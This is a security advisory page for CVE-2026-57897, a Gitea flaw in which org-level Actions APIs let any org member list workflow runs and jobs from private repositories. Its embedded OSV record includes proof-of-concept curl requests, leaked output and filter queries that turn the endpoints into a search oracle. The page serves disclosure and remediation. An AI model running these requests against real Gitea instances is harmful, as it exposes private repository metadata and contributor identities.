CVE-2026-57897: Gitea Cross-Repo Information Disclosure Vulnerability
MODERATECVE-2026-57897 is a MODERATE (CVSS 6.5) cross-repo information disclosure vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Gitea libraries in the Go ecosystem. The issue involves cross-repo information disclosure via org-level actions run/job apis. Remediation is available by upgrading affected packages to version 1.27.0.
CVE-2026-57897 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-57897
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade code.gitea.io/gitea to 1.27.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.gitea.io/gitea
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-57897, inspect your project dependencies for Gitea:
inspect dependencies for code.gitea.io/gitea
Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-57897 Affected Gitea Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.gitea.io/gitea
|
Go |
< 1.27.0
|
1.27.0
|
References
Frequently Asked Questions
What is CVE-2026-57897?
Which Gitea versions are affected?
What version fixes CVE-2026-57897?
Is code.gitea.io/gitea affected?
What is the CVSS score of CVE-2026-57897?
What CWE is associated with CVE-2026-57897?
How can I check Go dependencies for CVE-2026-57897?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-frpw-3h2q-4jj6",
"modified" : "2026-07-21T21:52:02Z",
"published" : "2026-07-21T21:52:02Z",
"aliases" : [ "CVE-2026-57897" ],
"summary" : "Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs",
"details" : "**Author:** Prakhar Porwal\n**Date:** 2026-05-24\n**Target:** Gitea (self-hosted Git service)\n**Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3)\n**Component:** `routers/api/v1/org/action.go` (org-level Actions API)\n**OWASP:** API3:2023 Broken Object Property Level Authorization\n\n---\n\n## 1. Summary\n\nThe org-level Actions REST endpoints\n\n```\nGET /api/v1/orgs/{org}/actions/runs\nGET /api/v1/orgs/{org}/actions/jobs\n```\n\nare gated only by **`reqOrgMembership()`** + `reqToken()`. They then call\n`shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` /\n`shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects\n**every** `action_run` / `action_run_job` row whose repository belongs to the\norg — with **no per-repository ACL check**.\n\nResult: any user who is a member of an organization can enumerate workflow\nruns and jobs from **every repository in that org**, including:\n\n* private repositories the caller has no team membership for,\n* repositories where the caller has been explicitly denied the `repo.actions`\n unit,\n* repositories created by other teams the caller is not part of.\n\nDirect per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`,\n`…/jobs/{job_id}/logs`, `…/runs/{run_id}/jobs`) correctly return `404` for the\nsame caller — proving the org-level surface is the only path that leaks.\n\n---\n\n## 2. Affected Code\n\n### 2.1 Route registration\n\n`routers/api/v1/api.go:1647-1652`\n\n```go\naddActionsRoutes(\n m,\n reqOrgMembership(), // reqReaderCheck\n reqOrgOwnership(), // reqOwnerCheck\n org.NewAction(),\n)\n```\n\n### 2.2 Helper that registers run/job listing\n\n`routers/api/v1/api.go:908-941`\n\n```go\nm.Group(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/jobs\", reqToken(), reqReaderCheck, act.ListWorkflowJobs)\n```\n\n`reqReaderCheck` for org-scope = `reqOrgMembership()` — bare org membership is\nenough; no per-repo permission is consulted.\n\n### 2.3 Handler\n\n`routers/api/v1/org/action.go:595-683`\n\n```go\nfunc (Action) ListWorkflowJobs(ctx *context.APIContext) {\n shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)\n}\n\nfunc (Action) ListWorkflowRuns(ctx *context.APIContext) {\n shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)\n}\n```\n\n### 2.4 Query construction (no ACL)\n\n`routers/api/v1/shared/action.go:138-215`\n\n```go\nopts := actions_model.FindRunOptions{\n OwnerID: ownerID, // ← org ID, NOT user ID\n RepoID: repoID, // = 0 at org level\n ListOptions: listOptions,\n}\n…\nruns, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)\n```\n\n`models/actions/run_list.go:102-110`\n\n```go\nfunc (opts FindRunOptions) ToJoins() []db.JoinFunc {\n if opts.OwnerID > 0 {\n return []db.JoinFunc{func(sess db.Engine) error {\n sess.Join(\"INNER\", \"repository\",\n \"repository.id = repo_id AND repository.owner_id = ?\", opts.OwnerID)\n return nil\n }}\n }\n return nil\n}\n```\n\nThe join only constrains `repository.owner_id = orgID`. There is no\n`access`/`team_repo`/`collaboration` join and no\n`access_model.GetDoerRepoPermission(...)` filter — every row in the org is\nreturned.\n\nThe same bug applies to `shared.ListJobs`, which calls\n`db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})`\nusing an analogous repository join.\n\n---\n\n## 3. Steps to Reproduce\n\n### 3.1 Setup\n\n* Org **`1st-org`** with one **private** repo `1st-org-repo`.\n* Team **`Owners`** contains user **`admin`** (org owner).\n* Team **`1st-team`** has **zero repositories** assigned (units permission\n `none` for actions, no included repos).\n* User **`admin2`** is a regular user (`is_admin = false`), member of\n `1st-team` only — so org member, but **no team grants any access to\n `1st-org-repo`**.\n\nVerified that admin2 lacks direct access:\n\n```bash\n$ curl -u admin2:admin@123 -w '[%{http_code}]\\n' \\\n http://localhost:3001/api/v1/repos/1st-org/1st-org-repo\n{\"errors\":null,\"message\":\"not found\",\"url\":\"…\"}[404]\n\n$ curl -u admin2:admin@123 -w '[%{http_code}]\\n' \\\n http://localhost:3001/api/v1/orgs/1st-org/repos\n[]\n[200]\n```\n\nA workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to\nproduce an `action_run`:\n\n```yaml\nname: ci\non: push\njobs:\n hello:\n runs-on: ubuntu-latest\n steps:\n - run: echo \"SECRET_INFO_FROM_PRIVATE_REPO\"\n```\n\n### 3.2 Trigger\n\n```bash\n$ curl -u admin2:admin@123 -w '\\n[%{http_code}]\\n' \\\n http://localhost:3001/api/v1/orgs/1st-org/actions/runs\n```\n\n**Output (truncated)**\n\n```json\n{\"workflow_runs\":[{\n \"id\":7,\n \"url\":\"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7\",\n \"html_url\":\"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7\",\n \"display_title\":\"add workflow\",\n \"path\":\"ci.yml@refs/heads/main\",\n \"event\":\"push\",\n \"run_attempt\":1,\n \"run_number\":1,\n \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n \"head_branch\":\"main\",\n \"status\":\"queued\",\n \"actor\":{\"id\":1,\"login\":\"admin\", … \"email\":\"1+admin@noreply.localhost\", …},\n \"trigger_actor\":{ … \"login\":\"admin\" … },\n \"repository\":{\n \"id\":4,\"name\":\"1st-org-repo\",\"full_name\":\"1st-org/1st-org-repo\",\n \"description\":\"test123\",\n \"private\":true,\n \"clone_url\":\"http://localhost:3001/1st-org/1st-org-repo.git\",\n \"ssh_url\":\"prakhar@localhost:1st-org/1st-org-repo.git\",\n …\n }\n}],\"total_count\":1}\n[200]\n```\n\nSame primitive for jobs:\n\n```bash\n$ curl -u admin2:admin@123 -w '\\n[%{http_code}]\\n' \\\n http://localhost:3001/api/v1/orgs/1st-org/actions/jobs\n{\"jobs\":[{\n \"id\":7,\n \"run_id\":7,\n \"name\":\"hello\",\n \"labels\":[\"ubuntu-latest\"],\n \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n \"head_branch\":\"main\",\n \"status\":\"queued\",\n …\n}],\"total_count\":1}\n[200]\n```\n\n### 3.3 search primitives\n\nAll query parameters supported by `ListRuns`/`ListJobs` work too — turning the\nendpoint into a **search oracle** over private workflow metadata:\n\n```bash\n# Find runs on a specific branch in private repos:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main\"\n\n# Confirm a given commit SHA exists in any private repo of the org:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…\"\n\n# Filter by actor:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin\"\n\n# Filter by event/status:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure\"\n```\n\nAll return matching rows from private repos in the org.\n\n\n---\n\n\n## 4. Impact\n\nA low-privileged authenticated org member (no team, no repo permission, no\nadmin) gains, for every private repository in the org:\n\n| Field leaked | Why it matters |\n|-------------------------------|------------------------------------------------------|\n| `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos |\n| `head_sha`, `head_branch` | Confirms commits / branch names exist in private repos |\n| `path` (workflow file) | Reveals workflow YAML filenames |\n| `event`, `display_title` | Commit messages / event types |\n| `actor`, `trigger_actor` | Internal contributor identities incl. noreply emails |\n| `created_at`, `started_at` | Activity timing / CI cadence |\n| Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history |\n\nReal-world consequences:\n\n1. **Org reconnaissance** — confirms existence of private projects, names,\n activity patterns; commit messages and branch names often reveal product\n plans, security fix windows, or release schedules.\n2. **Insider-threat amplification** — any contractor / interviewee / OSS\n contributor invited to a low-permission team can mine the rest of the\n org's CI history.\n3. **Cross-team violation** — when an org isolates internal projects via\n teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses\n that boundary.\n4. **Pivot data** — commit SHAs disclosed here unlock subsequent endpoints\n that *do* check ACLs but accept SHA inputs (e.g. some package / archive\n download paths in third-party tooling that just trusts a SHA).\n\nThe same primitive is exposed regardless of token scope, as long as the token\nhas `organization` scope, the user is an org member, and the org has any\nprivate repos with action runs.\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.gitea.io/gitea"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.27.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T21:52:02Z",
"nvd_published_at" : null
}
}